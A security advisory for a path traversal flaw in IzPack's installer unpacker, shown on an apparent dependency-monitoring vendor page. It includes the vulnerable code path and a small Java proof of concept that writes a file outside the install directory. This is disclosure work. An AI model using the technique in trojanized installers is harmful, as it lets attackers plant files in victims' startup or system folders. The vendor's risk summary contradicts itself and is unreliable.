Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-f63g-88cj-hjf9
Summary
IzPack's UnpackerBase.unpack() resolves pack-file target paths without any
canonical-path or directory-containment check. An attacker who distributes a
trojanized installer JAR (the format is unsigned) can include pack entries whose
targetPath contains ../ sequences. When a victim runs the installer the
file is written to an attacker-chosen location on disk under the victim's
privileges — including startup folders, PATH directories, or system locations.
Details
Vulnerable method: com.izforge.izpack.installer.unpacker.UnpackerBase.unpack()
Source file: izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java
Vulnerable lines (5.2.4): ~618–627
The relevant code path is:
String targetPath = packFile.getTargetPath(); // attacker-controlled
String path = IoHelper.translatePath(targetPath, variables); // separator swap ONLY
File target = new File(path); // no canonical check
// ... mkdirs() then file is written to `target`
IoHelper.translatePath() (source: izpack-util/.../IoHelper.java) performs
only file-separator character conversion ('/' ↔ File.separatorChar) and
contains no security validation whatsoever. There is no call to
getCanonicalPath(), no startsWith(installDir) containment check, and no
normalisation of .. segments.
Because IzPack installer JARs carry no digital signature, an attacker can
repack any legitimate installer with malicious PackFile entries. The file
format is a standard ZIP with serialised resources — no integrity protection.
Confirmed unpatched in HEAD (fetched from GitHub, 2025):
git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \
| grep -n 'getCanonicalPath\|startsWith.*install\|traversal'
# (no output — fix not present)
PoC
# 1. Clone IzPack source and view the vulnerable code directly
git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git
sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java
# 2. Compile and run the following Java reproducer (no IzPack classpath needed):
// TestPathTraversal.java
import java.io.*;
public class TestPathTraversal {
// Exact replication of IoHelper.translatePath() — separator swap, no security
static String translatePath(String destination) {
return destination.replace('/', File.separatorChar);
}
public static void main(String[] args) throws Exception {
String installDir = "/tmp/izpack_install";
String maliciousPath = installDir + "/../../../tmp/ESCAPED_FILE";
// This is what UnpackerBase does:
String path = translatePath(maliciousPath);
File target = new File(path); // resolves traversal
target.getParentFile().mkdirs();
try (FileWriter fw = new FileWriter(target)) {
fw.write("Written outside install dir via IzPack path traversal\n");
}
System.out.println("File written to: " + target.getCanonicalPath());
System.out.println("Inside installDir: " +
target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));
}
}
javac TestPathTraversal.java && java TestPathTraversal
# Output: File written to: /tmp/ESCAPED_FILE
# Inside installDir: false
Impact
Any user who runs an IzPack-generated installer is affected. The attacker only
needs to distribute a repackaged installer — a common social-engineering vector.
On Windows (the primary IzPack platform) the victim typically runs the installer
as a local administrator, so the attacker can write to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup,
%SystemRoot%\System32, or any other location reachable by the victim user.
On Linux/macOS the same applies for user-writable locations.
No authentication, no special privileges and no interaction beyond running the installer are required on the victim side.
Credits
This issue was identified by Michał Majchrowicz, Marcin Wyczechowski, and Paweł Zdunek, members of the AFINE Team.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard